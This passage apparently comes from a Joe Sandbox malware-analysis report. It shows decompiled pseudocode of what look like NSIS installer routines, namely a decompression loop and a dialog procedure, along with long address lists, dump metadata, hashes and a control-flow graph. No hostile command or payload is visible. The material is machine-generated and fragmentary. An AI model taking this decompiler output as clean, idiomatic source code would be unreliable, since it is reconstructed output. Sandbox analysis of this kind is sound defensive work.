                                      								 *( *(__ebp - 0x68)) = __cl;
                                      								 *(__ebp - 0x14) = __edx;
                                      								if( *(__ebp - 0x30) > 0) {
                                      									continue;
                                      								} else {
                                      									goto L80;
                                      								}
                                      							}
                                      							 *(__ebp - 0x88) = 0x1c;
                                      							goto L170;
                                      					}
                                      				}
                                      			}













                                      0x00000000
                                      0x00406956
                                      0x00406956
                                      0x0040695b
                                      0x004069d2
                                      0x004069d9
                                      0x004069e3
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fcb
                                      0x00406fd1
                                      0x00406fd7
                                      0x00406ff1
                                      0x00406ff4
                                      0x00406ffa
                                      0x00407005
                                      0x00407007
                                      0x00406fd9
                                      0x00406fd9
                                      0x00406fe8
                                      0x00406fec
                                      0x00406fec
                                      0x00407011
                                      0x00407038
                                      0x00407038
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x00407013
                                      0x00407013
                                      0x00407017
                                      0x004071c6
                                      0x00000000
                                      0x004071c6
                                      0x00407023
                                      0x0040702a
                                      0x00407032
                                      0x00407035
                                      0x00000000
                                      0x00407035
                                      0x0040695d
                                      0x0040695d
                                      0x00406961
                                      0x00406969
                                      0x0040696c
                                      0x0040696e
                                      0x00406971
                                      0x00406973
                                      0x00406978
                                      0x0040697b
                                      0x00406982
                                      0x00406989
                                      0x0040698c
                                      0x00406997
                                      0x0040699f
                                      0x0040699f
                                      0x00406999
                                      0x00406999
                                      0x00406999
                                      0x0040698e
                                      0x0040698e
                                      0x0040698e
                                      0x004069a6
                                      0x004069c4
                                      0x004069c6
                                      0x00406b99
                                      0x00406b99
                                      0x00406b9c
                                      0x00406b9f
                                      0x00406ba2
                                      0x00406ba5
                                      0x00406ba8
                                      0x00406bab
                                      0x00406bae
                                      0x00406bb1
                                      0x00406bb7
                                      0x00406bcf
                                      0x00406bd2
                                      0x00406bd5
                                      0x00406bd8
                                      0x00406bd8
                                      0x00406bdb
                                      0x00406be1
                                      0x00406bb9
                                      0x00406bb9
                                      0x00406bc1
                                      0x00406bc6
                                      0x00406bc8
                                      0x00406bca
                                      0x00406bca
                                      0x00406beb
                                      0x00406bee
                                      0x00406b91
                                      0x00406b97
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406bf0
                                      0x00406b6c
                                      0x00406b70
                                      0x00407178
                                      0x00000000
                                      0x00407178
                                      0x00406b76
                                      0x00406b79
                                      0x00406b7c
                                      0x00406b80
                                      0x00406b83
                                      0x00406b89
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8e
                                      0x00000000
                                      0x00406b8e
                                      0x004069a8
                                      0x004069a8
                                      0x004069ab
                                      0x004069b1
                                      0x004069b3
                                      0x004069b3
                                      0x004069b6
                                      0x004069b9
                                      0x004069bb
                                      0x004069bc
                                      0x004069bf
                                      0x00406a2c
                                      0x00406a2c
                                      0x00406a30
                                      0x00406a33
                                      0x00406a36
                                      0x00406a39
                                      0x00406a3c
                                      0x00406a3d
                                      0x00406a40
                                      0x00406a42
                                      0x00406a48
                                      0x00406a4b
                                      0x00406a4e
                                      0x00406a51
                                      0x00406a54
                                      0x00406a5a
                                      0x00406a76
                                      0x00406a79
                                      0x00406a7c
                                      0x00406a7f
                                      0x00406a86
                                      0x00406a8c
                                      0x00406a90
                                      0x00406a5c
                                      0x00406a5c
                                      0x00406a60
                                      0x00406a68
                                      0x00406a6d
                                      0x00406a6f
                                      0x00406a71
                                      0x00406a71
                                      0x00406a9a
                                      0x00406a9d
                                      0x00406a14
                                      0x00406a14
                                      0x00406a1a
                                      0x00406acd
                                      0x00406ad3
                                      0x00000000
                                      0x00000000
                                      0x00406ad5
                                      0x00406ad8
                                      0x00406adb
                                      0x00406ade
                                      0x00406ae1
                                      0x00406ae4
                                      0x00406ae7
                                      0x00406aea
                                      0x00406aed
                                      0x00406af3
                                      0x00406b0b
                                      0x00406b0e
                                      0x00406b11
                                      0x00406b14
                                      0x00406b14
                                      0x00406b17
                                      0x00406b1d
                                      0x00406af5
                                      0x00406af5
                                      0x00406afd
                                      0x00406b02
                                      0x00406b04
                                      0x00406b06
                                      0x00406b06
                                      0x00406b27
                                      0x00406b2a
                                      0x00406aa8
                                      0x00406aac
                                      0x0040716c
                                      0x00000000
                                      0x0040716c
                                      0x00406ab2
                                      0x00406ab5
                                      0x00406ab8
                                      0x00406abc
                                      0x00406abf
                                      0x00406ac5
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406aca
                                      0x00406aca
                                      0x00406b2a
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00406b35
                                      0x00406b35
                                      0x00406b38
                                      0x00406b3b
                                      0x00406b3f
                                      0x00407184
                                      0x00000000
                                      0x00407184
                                      0x00406b45
                                      0x00406b48
                                      0x00406b4b
                                      0x00406b4e
                                      0x00406b51
                                      0x00406b54
                                      0x00406b57
                                      0x00406b59
                                      0x00406b5c
                                      0x00406b5f
                                      0x00406b62
                                      0x00406b64
                                      0x00406b64
                                      0x00406b64
                                      0x00406d01
                                      0x00406d01
                                      0x00406d04
                                      0x00406d04
                                      0x00000000
                                      0x00406d04
                                      0x00406a26
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406aa3
                                      0x004069ef
                                      0x004069f3
                                      0x00407160
                                      0x004071dc
                                      0x004071e4
                                      0x004071eb
                                      0x004071ed
                                      0x004071f4
                                      0x004071f8
                                      0x004071f8
                                      0x004069f9
                                      0x004069fc
                                      0x004069ff
                                      0x00406a03
                                      0x00406a06
                                      0x00406a0c
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a11
                                      0x00000000
                                      0x00406a11
                                      0x00406a9d
                                      0x004069a6
                                      0x004067da
                                      0x004067da
                                      0x004067e3
                                      0x004071f1
                                      0x004071f1
                                      0x00000000
                                      0x004071f1
                                      0x004067e9
                                      0x00000000
                                      0x004067f4
                                      0x00000000
                                      0x00000000
                                      0x004067fd
                                      0x00406800
                                      0x00406803
                                      0x00406807
                                      0x00000000
                                      0x00000000
                                      0x0040680d
                                      0x00406810
                                      0x00406812
                                      0x00406813
                                      0x00406816
                                      0x00406818
                                      0x00406819
                                      0x0040681b
                                      0x0040681e
                                      0x00406823
                                      0x00406828
                                      0x00406831
                                      0x00406844
                                      0x00406847
                                      0x00406853
                                      0x0040687b
                                      0x0040687d
                                      0x0040688b
                                      0x0040688b
                                      0x0040688f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040687f
                                      0x0040687f
                                      0x00406882
                                      0x00406883
                                      0x00406883
                                      0x00000000
                                      0x0040687f
                                      0x00406859
                                      0x0040685e
                                      0x0040685e
                                      0x00406867
                                      0x0040686f
                                      0x00406872
                                      0x00000000
                                      0x00406878
                                      0x00406878
                                      0x00000000
                                      0x00406878
                                      0x00000000
                                      0x00406895
                                      0x00406895
                                      0x00406899
                                      0x00407145
                                      0x00000000
                                      0x00407145
                                      0x004068a2
                                      0x004068b2
                                      0x004068b5
                                      0x004068b8
                                      0x004068b8
                                      0x004068b8
                                      0x004068bb
                                      0x004068bf
                                      0x00000000
                                      0x00000000
                                      0x004068c1
                                      0x004068c7
                                      0x004068f1
                                      0x004068f7
                                      0x004068fe
                                      0x00000000
                                      0x004068fe
                                      0x004068cd
                                      0x004068d0
                                      0x004068d5
                                      0x004068d5
                                      0x004068e0
                                      0x004068e8
                                      0x004068eb
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406930
                                      0x00406936
                                      0x00406939
                                      0x00406946
                                      0x0040694e
                                      0x00000000
                                      0x00000000
                                      0x00406905
                                      0x00406905
                                      0x00406909
                                      0x00407154
                                      0x00000000
                                      0x00407154
                                      0x00406915
                                      0x00406920
                                      0x00406920
                                      0x00406920
                                      0x00406923
                                      0x00406926
                                      0x00406929
                                      0x0040692e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406bf5
                                      0x00406bf9
                                      0x00406c17
                                      0x00406c1a
                                      0x00406c21
                                      0x00406c24
                                      0x00406c27
                                      0x00406c2a
                                      0x00406c2d
                                      0x00406c30
                                      0x00406c32
                                      0x00406c39
                                      0x00406c3a
                                      0x00406c3c
                                      0x00406c3f
                                      0x00406c42
                                      0x00406c45
                                      0x00406c45
                                      0x00406c4a
                                      0x00000000
                                      0x00406c4a
                                      0x00406bfb
                                      0x00406bfe
                                      0x00406c01
                                      0x00406c0b
                                      0x00000000
                                      0x00000000
                                      0x00406c5f
                                      0x00406c63
                                      0x00406c86
                                      0x00406c89
                                      0x00406c8c
                                      0x00406c96
                                      0x00406c65
                                      0x00406c65
                                      0x00406c68
                                      0x00406c6b
                                      0x00406c6e
                                      0x00406c7b
                                      0x00406c7e
                                      0x00406c7e
                                      0x00000000
                                      0x00000000
                                      0x00406ca2
                                      0x00406ca6
                                      0x00000000
                                      0x00000000
                                      0x00406cac
                                      0x00406cb0
                                      0x00000000
                                      0x00000000
                                      0x00406cb6
                                      0x00406cb8
                                      0x00406cbc
                                      0x00406cbc
                                      0x00406cbf
                                      0x00406cc3
                                      0x00000000
                                      0x00000000
                                      0x00406d13
                                      0x00406d17
                                      0x00406d1e
                                      0x00406d21
                                      0x00406d24
                                      0x00406d2e
                                      0x00000000
                                      0x00406d2e
                                      0x00406d19
                                      0x00000000
                                      0x00000000
                                      0x00406d3a
                                      0x00406d3e
                                      0x00406d45
                                      0x00406d48
                                      0x00406d4b
                                      0x00406d40
                                      0x00406d40
                                      0x00406d40
                                      0x00406d4e
                                      0x00406d51
                                      0x00406d54
                                      0x00406d54
                                      0x00406d57
                                      0x00406d5a
                                      0x00406d5d
                                      0x00406d5d
                                      0x00406d60
                                      0x00406d67
                                      0x00406d6c
                                      0x00000000
                                      0x00000000
                                      0x00406dfa
                                      0x00406dfa
                                      0x00406dfe
                                      0x0040719c
                                      0x00000000
                                      0x0040719c
                                      0x00406e04
                                      0x00406e07
                                      0x00406e0a
                                      0x00406e0e
                                      0x00406e11
                                      0x00406e17
                                      0x00406e19
                                      0x00406e19
                                      0x00406e19
                                      0x00406e1c
                                      0x00406e1f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406e7d
                                      0x00406e7d
                                      0x00406e81
                                      0x004071a8
                                      0x00000000
                                      0x004071a8
                                      0x00406e87
                                      0x00406e8a
                                      0x00406e8d
                                      0x00406e91
                                      0x00406e94
                                      0x00406e9a
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9f
                                      0x00000000
                                      0x00000000
                                      0x00406c4d
                                      0x00406c4d
                                      0x00406c50
                                      0x00000000
                                      0x00000000
                                      0x00406f8c
                                      0x00406f90
                                      0x00406fb2
                                      0x00406fb5
                                      0x00406fbf
                                      0x00000000
                                      0x00406fbf
                                      0x00406f92
                                      0x00406f95
                                      0x00406f99
                                      0x00406f9c
                                      0x00406f9c
                                      0x00406f9f
                                      0x00000000
                                      0x00000000
                                      0x00407049
                                      0x0040704d
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x00407072
                                      0x00407079
                                      0x00407080
                                      0x00407080
                                      0x00000000
                                      0x00407080
                                      0x0040704f
                                      0x00407052
                                      0x00407055
                                      0x00407058
                                      0x0040705f
                                      0x00406fa3
                                      0x00406fa3
                                      0x00406fa6
                                      0x00000000
                                      0x00000000
                                      0x0040713a
                                      0x0040713d
                                      0x00000000
                                      0x00000000
                                      0x00406d74
                                      0x00406d76
                                      0x00406d7d
                                      0x00406d7e
                                      0x00406d80
                                      0x00406d83
                                      0x00000000
                                      0x00000000
                                      0x00406d8b
                                      0x00406d8e
                                      0x00406d91
                                      0x00406d93
                                      0x00406d95
                                      0x00406d95
                                      0x00406d96
                                      0x00406d99
                                      0x00406da0
                                      0x00406da3
                                      0x00406db1
                                      0x00000000
                                      0x00000000
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x00000000
                                      0x00000000
                                      0x00407096
                                      0x00407096
                                      0x0040709a
                                      0x004071d2
                                      0x00000000
                                      0x004071d2
                                      0x004070a0
                                      0x004070a3
                                      0x004070a6
                                      0x004070aa
                                      0x004070ad
                                      0x004070b3
                                      0x004070b5
                                      0x004070b5
                                      0x004070b5
                                      0x004070b8
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070be
                                      0x004070be
                                      0x004070c2
                                      0x00407122
                                      0x00407125
                                      0x0040712a
                                      0x0040712b
                                      0x0040712d
                                      0x0040712f
                                      0x00407132
                                      0x00000000
                                      0x00407132
                                      0x004070c4
                                      0x004070ca
                                      0x004070cd
                                      0x004070d0
                                      0x004070d3
                                      0x004070d6
                                      0x004070d9
                                      0x004070dc
                                      0x004070df
                                      0x004070e2
                                      0x004070e5
                                      0x004070fe
                                      0x00407101
                                      0x00407104
                                      0x00407107
                                      0x0040710b
                                      0x0040710d
                                      0x0040710d
                                      0x0040710e
                                      0x00407111
                                      0x004070e7
                                      0x004070e7
                                      0x004070ef
                                      0x004070f4
                                      0x004070f6
                                      0x004070f9
                                      0x004070f9
                                      0x00407114
                                      0x0040711b
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x00406db9
                                      0x00406dbc
                                      0x00406df2
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f25
                                      0x00406f25
                                      0x00406f28
                                      0x00406f2a
                                      0x004071b4
                                      0x00000000
                                      0x004071b4
                                      0x00406f30
                                      0x00406f33
                                      0x00000000
                                      0x00000000
                                      0x00406f39
                                      0x00406f3d
                                      0x00406f40
                                      0x00406f40
                                      0x00406f40
                                      0x00000000
                                      0x00406f40
                                      0x00406dbe
                                      0x00406dc0
                                      0x00406dc2
                                      0x00406dc4
                                      0x00406dc7
                                      0x00406dc8
                                      0x00406dca
                                      0x00406dcc
                                      0x00406dcf
                                      0x00406dd2
                                      0x00406de8
                                      0x00406ded
                                      0x00406e25
                                      0x00406e25
                                      0x00406e29
                                      0x00406e55
                                      0x00406e57
                                      0x00406e5e
                                      0x00406e61
                                      0x00406e64
                                      0x00406e64
                                      0x00406e69
                                      0x00406e69
                                      0x00406e6b
                                      0x00406e6e
                                      0x00406e75
                                      0x00406e78
                                      0x00406ea5
                                      0x00406ea5
                                      0x00406ea8
                                      0x00406eab
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00000000
                                      0x00406f1f
                                      0x00406ead
                                      0x00406eb3
                                      0x00406eb6
                                      0x00406eb9
                                      0x00406ebc
                                      0x00406ebf
                                      0x00406ec2
                                      0x00406ec5
                                      0x00406ec8
                                      0x00406ecb
                                      0x00406ece
                                      0x00406ee7
                                      0x00406ee9
                                      0x00406eec
                                      0x00406eed
                                      0x00406ef0
                                      0x00406ef2
                                      0x00406ef5
                                      0x00406ef7
                                      0x00406ef9
                                      0x00406efc
                                      0x00406efe
                                      0x00406f01
                                      0x00406f05
                                      0x00406f07
                                      0x00406f07
                                      0x00406f08
                                      0x00406f0b
                                      0x00406f0e
                                      0x00406ed0
                                      0x00406ed0
                                      0x00406ed8
                                      0x00406edd
                                      0x00406edf
                                      0x00406ee2
                                      0x00406ee2
                                      0x00406f11
                                      0x00406f18
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00000000
                                      0x00406f1a
                                      0x00000000
                                      0x00406f1a
                                      0x00406f18
                                      0x00406e2b
                                      0x00406e2e
                                      0x00406e30
                                      0x00406e33
                                      0x00406e36
                                      0x00406e39
                                      0x00406e3b
                                      0x00406e3e
                                      0x00406e41
                                      0x00406e41
                                      0x00406e44
                                      0x00406e44
                                      0x00406e47
                                      0x00406e4e
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00000000
                                      0x00406e50
                                      0x00000000
                                      0x00406e50
                                      0x00406e4e
                                      0x00406dd4
                                      0x00406dd7
                                      0x00406dd9
                                      0x00406ddc
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406cc6
                                      0x00406cc6
                                      0x00406cca
                                      0x00407190
                                      0x00000000
                                      0x00407190
                                      0x00406cd0
                                      0x00406cd3
                                      0x00406cd6
                                      0x00406cd9
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cde
                                      0x00406ce1
                                      0x00406ce4
                                      0x00406ce7
                                      0x00406cea
                                      0x00406ced
                                      0x00406cee
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf3
                                      0x00406cf6
                                      0x00406cf9
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cff
                                      0x00000000
                                      0x00000000
                                      0x00406f43
                                      0x00406f43
                                      0x00406f43
                                      0x00406f47
                                      0x00000000
                                      0x00000000
                                      0x00406f4d
                                      0x00406f50
                                      0x00406f53
                                      0x00406f56
                                      0x00406f58
                                      0x00406f58
                                      0x00406f58
                                      0x00406f5b
                                      0x00406f5e
                                      0x00406f61
                                      0x00406f64
                                      0x00406f67
                                      0x00406f6a
                                      0x00406f6b
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f70
                                      0x00406f73
                                      0x00406f76
                                      0x00406f79
                                      0x00406f7c
                                      0x00406f80
                                      0x00406f82
                                      0x00406f85
                                      0x00000000
                                      0x00406f87
                                      0x00000000
                                      0x00406f87
                                      0x00406f85
                                      0x004071ba
                                      0x00000000
                                      0x00000000
                                      0x004067e9

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 243907c00f3d7d55c33cca0d1e8b50e30fc2ef132c4317966eea85650a7ed6a7
                                      • Instruction ID: dcd014b85e7262d3741248fa227238ad6671e2837142342cd84456719761ddbf
                                      • Opcode Fuzzy Hash: 243907c00f3d7d55c33cca0d1e8b50e30fc2ef132c4317966eea85650a7ed6a7
                                      • Instruction Fuzzy Hash: 7FF17871D04229CBCF18CFA8C8946ADBBB0FF44305F25856ED856BB281D7386A86CF45
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 190 403d08-403d1a 191 403d20-403d26 190->191 192 403e5b-403e6a 190->192 191->192 193 403d2c-403d35 191->193 194 403eb9-403ece 192->194 195 403e6c-403eb4 GetDlgItem * 2 call 4041e1 SetClassLongW call 40140b 192->195 196 403d37-403d44 SetWindowPos 193->196 197 403d4a-403d4d 193->197 199 403ed0-403ed3 194->199 200 403f0e-403f13 call 40422d 194->200 195->194 196->197 202 403d67-403d6d 197->202 203 403d4f-403d61 ShowWindow 197->203 205 403ed5-403ee0 call 401389 199->205 206 403f06-403f08 199->206 209 403f18-403f33 200->209 210 403d89-403d8c 202->210 211 403d6f-403d84 DestroyWindow 202->211 203->202 205->206 221 403ee2-403f01 SendMessageW 205->221 206->200 208 4041ae 206->208 216 4041b0-4041b7 208->216 214 403f35-403f37 call 40140b 209->214 215 403f3c-403f42 209->215 219 403d8e-403d9a SetWindowLongW 210->219 220 403d9f-403da5 210->220 217 40418b-404191 211->217 214->215 224 403f48-403f53 215->224 225 40416c-404185 DestroyWindow EndDialog 215->225 217->208 223 404193-404199 217->223 219->216 226 403e48-403e56 call 404248 220->226 227 403dab-403dbc GetDlgItem 220->227 221->216 223->208 231 40419b-4041a4 ShowWindow 223->231 224->225 232 403f59-403fa6 call 40626e call 4041e1 * 3 GetDlgItem 224->232 225->217 226->216 228 403ddb-403dde 227->228 229 403dbe-403dd5 SendMessageW IsWindowEnabled 227->229 233 403de0-403de1 228->233 234 403de3-403de6 228->234 229->208 229->228 231->208 260 403fb0-403fec ShowWindow KiUserCallbackDispatcher call 404203 EnableWindow 232->260 261 403fa8-403fad 232->261 237 403e11-403e16 call 4041ba 233->237 238 403df4-403df9 234->238 239 403de8-403dee 234->239 237->226 242 403e2f-403e42 SendMessageW 238->242 243 403dfb-403e01 238->243 241 403df0-403df2 239->241 239->242 241->237 242->226 246 403e03-403e09 call 40140b 243->246 247 403e18-403e21 call 40140b 243->247 258 403e0f 246->258 247->226 256 403e23-403e2d 247->256 256->258 258->237 264 403ff1 260->264 265 403fee-403fef 260->265 261->260 266 403ff3-404021 GetSystemMenu EnableMenuItem SendMessageW 264->266 265->266 267 404023-404034 SendMessageW 266->267 268 404036 266->268 269 40403c-40407b call 404216 call 403ce9 call 40624c lstrlenW call 40626e SetWindowTextW call 401389 267->269 268->269 269->209 280 404081-404083 269->280 280->209 281 404089-40408d 280->281 282 4040ac-4040c0 DestroyWindow 281->282 283 40408f-404095 281->283 282->217 285 4040c6-4040f3 CreateDialogParamW 282->285 283->208 284 40409b-4040a1 283->284 284->209 286 4040a7 284->286 285->217 287 4040f9-404150 call 4041e1 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 285->287 286->208 287->208 292 404152-404165 ShowWindow call 40422d 287->292 294 40416a 292->294 294->217
                                      C-Code - Quality: 83%
                                      			E00403D08(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
                                      				struct HWND__* _v32;
                                      				void* _v84;
                                      				void* _v88;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed int _t37;
                                      				signed int _t39;
                                      				signed int _t41;
                                      				struct HWND__* _t51;
                                      				signed int _t70;
                                      				struct HWND__* _t76;
                                      				signed int _t89;
                                      				struct HWND__* _t94;
                                      				signed int _t102;
                                      				int _t106;
                                      				signed int _t118;
                                      				signed int _t119;
                                      				int _t120;
                                      				signed int _t125;
                                      				struct HWND__* _t128;
                                      				struct HWND__* _t129;
                                      				int _t130;
                                      				long _t133;
                                      				int _t135;
                                      				int _t136;
                                      				void* _t137;
                                      				void* _t144;
                                      
                                      				_t118 = _a8;
                                      				if(_t118 == 0x110 || _t118 == 0x408) {
                                      					_t37 = _a12;
                                      					_t128 = _a4;
                                      					__eflags = _t118 - 0x110;
                                      					 *0x4236d0 = _t37;
                                      					if(_t118 == 0x110) {
                                      						 *0x42a208 = _t128;
                                      						 *0x4236e4 = GetDlgItem(_t128, 1);
                                      						_t94 = GetDlgItem(_t128, 2);
                                      						_push(0xffffffff);
                                      						_push(0x1c);
                                      						 *0x4216b0 = _t94;
                                      						E004041E1(_t128);
                                      						SetClassLongW(_t128, 0xfffffff2,  *0x4291e8);
                                      						 *0x4291cc = E0040140B(4);
                                      						_t37 = 1;
                                      						__eflags = 1;
                                      						 *0x4236d0 = 1;
                                      					}
                                      					_t125 =  *0x40a368; // 0x0
                                      					_t136 = 0;
                                      					_t133 = (_t125 << 6) +  *0x42a240;
                                      					__eflags = _t125;
                                      					if(_t125 < 0) {
                                      						L34:
                                      						E0040422D(0x40b);
                                      						while(1) {
                                      							_t39 =  *0x4236d0;
                                      							 *0x40a368 =  *0x40a368 + _t39;
                                      							_t133 = _t133 + (_t39 << 6);
                                      							_t41 =  *0x40a368; // 0x0
                                      							__eflags = _t41 -  *0x42a244;
                                      							if(_t41 ==  *0x42a244) {
                                      								E0040140B(1);
                                      							}
                                      							__eflags =  *0x4291cc - _t136;
                                      							if( *0x4291cc != _t136) {
                                      								break;
                                      							}
                                      							__eflags =  *0x40a368 -  *0x42a244; // 0x0
                                      							if(__eflags >= 0) {
                                      								break;
                                      							}
                                      							_t119 =  *(_t133 + 0x14);
                                      							E0040626E(_t119, _t128, _t133, 0x43a000,  *((intOrPtr*)(_t133 + 0x24)));
                                      							_push( *((intOrPtr*)(_t133 + 0x20)));
                                      							_push(0xfffffc19);
                                      							E004041E1(_t128);
                                      							_push( *((intOrPtr*)(_t133 + 0x1c)));
                                      							_push(0xfffffc1b);
                                      							E004041E1(_t128);
                                      							_push( *((intOrPtr*)(_t133 + 0x28)));
                                      							_push(0xfffffc1a);
                                      							E004041E1(_t128);
                                      							_t51 = GetDlgItem(_t128, 3);
                                      							__eflags =  *0x42a2ac - _t136;
                                      							_v32 = _t51;
                                      							if( *0x42a2ac != _t136) {
                                      								_t119 = _t119 & 0x0000fefd | 0x00000004;
                                      								__eflags = _t119;
                                      							}
                                      							ShowWindow(_t51, _t119 & 0x00000008); // executed
                                      							EnableWindow( *(_t137 + 0x30), _t119 & 0x00000100); // executed
                                      							E00404203(_t119 & 0x00000002);
                                      							_t120 = _t119 & 0x00000004;
                                      							EnableWindow( *0x4216b0, _t120);
                                      							__eflags = _t120 - _t136;
                                      							if(_t120 == _t136) {
                                      								_push(1);
                                      							} else {
                                      								_push(_t136);
                                      							}
                                      							EnableMenuItem(GetSystemMenu(_t128, _t136), 0xf060, ??);
                                      							SendMessageW( *(_t137 + 0x38), 0xf4, _t136, 1);
                                      							__eflags =  *0x42a2ac - _t136;
                                      							if( *0x42a2ac == _t136) {
                                      								_push( *0x4236e4);
                                      							} else {
                                      								SendMessageW(_t128, 0x401, 2, _t136);
                                      								_push( *0x4216b0);
                                      							}
                                      							E00404216();
                                      							E0040624C(0x4236e8, E00403CE9());
                                      							E0040626E(0x4236e8, _t128, _t133,  &(0x4236e8[lstrlenW(0x4236e8)]),  *((intOrPtr*)(_t133 + 0x18)));
                                      							SetWindowTextW(_t128, 0x4236e8); // executed
                                      							_push(_t136);
                                      							_t70 = E00401389( *((intOrPtr*)(_t133 + 8)));
                                      							__eflags = _t70;
                                      							if(_t70 != 0) {
                                      								continue;
                                      							} else {
                                      								__eflags =  *_t133 - _t136;
                                      								if( *_t133 == _t136) {
                                      									continue;
                                      								}
                                      								__eflags =  *(_t133 + 4) - 5;
                                      								if( *(_t133 + 4) != 5) {
                                      									DestroyWindow( *0x4291d8); // executed
                                      									 *0x4226c0 = _t133;
                                      									__eflags =  *_t133 - _t136;
                                      									if( *_t133 <= _t136) {
                                      										goto L58;
                                      									}
                                      									_t76 = CreateDialogParamW( *0x42a200,  *_t133 +  *0x4291e0 & 0x0000ffff, _t128,  *( *(_t133 + 4) * 4 + "~C@"), _t133); // executed
                                      									__eflags = _t76 - _t136;
                                      									 *0x4291d8 = _t76;
                                      									if(_t76 == _t136) {
                                      										goto L58;
                                      									}
                                      									_push( *((intOrPtr*)(_t133 + 0x2c)));
                                      									_push(6);
                                      									E004041E1(_t76);
                                      									GetWindowRect(GetDlgItem(_t128, 0x3fa), _t137 + 0x10);
                                      									ScreenToClient(_t128, _t137 + 0x10);
                                      									SetWindowPos( *0x4291d8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
                                      									_push(_t136);
                                      									E00401389( *((intOrPtr*)(_t133 + 0xc)));
                                      									__eflags =  *0x4291cc - _t136;
                                      									if( *0x4291cc != _t136) {
                                      										goto L61;
                                      									}
                                      									ShowWindow( *0x4291d8, 8); // executed
                                      									E0040422D(0x405);
                                      									goto L58;
                                      								}
                                      								__eflags =  *0x42a2ac - _t136;
                                      								if( *0x42a2ac != _t136) {
                                      									goto L61;
                                      								}
                                      								__eflags =  *0x42a2a0 - _t136;
                                      								if( *0x42a2a0 != _t136) {
                                      									continue;
                                      								}
                                      								goto L61;
                                      							}
                                      						}
                                      						DestroyWindow( *0x4291d8);
                                      						 *0x42a208 = _t136;
                                      						EndDialog(_t128,  *0x421eb8);
                                      						goto L58;
                                      					} else {
                                      						__eflags = _t37 - 1;
                                      						if(_t37 != 1) {
                                      							L33:
                                      							__eflags =  *_t133 - _t136;
                                      							if( *_t133 == _t136) {
                                      								goto L61;
                                      							}
                                      							goto L34;
                                      						}
                                      						_push(0);
                                      						_t89 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
                                      						__eflags = _t89;
                                      						if(_t89 == 0) {
                                      							goto L33;
                                      						}
                                      						SendMessageW( *0x4291d8, 0x40f, 0, 1);
                                      						__eflags =  *0x4291cc;
                                      						return 0 |  *0x4291cc == 0x00000000;
                                      					}
                                      				} else {
                                      					_t128 = _a4;
                                      					_t136 = 0;
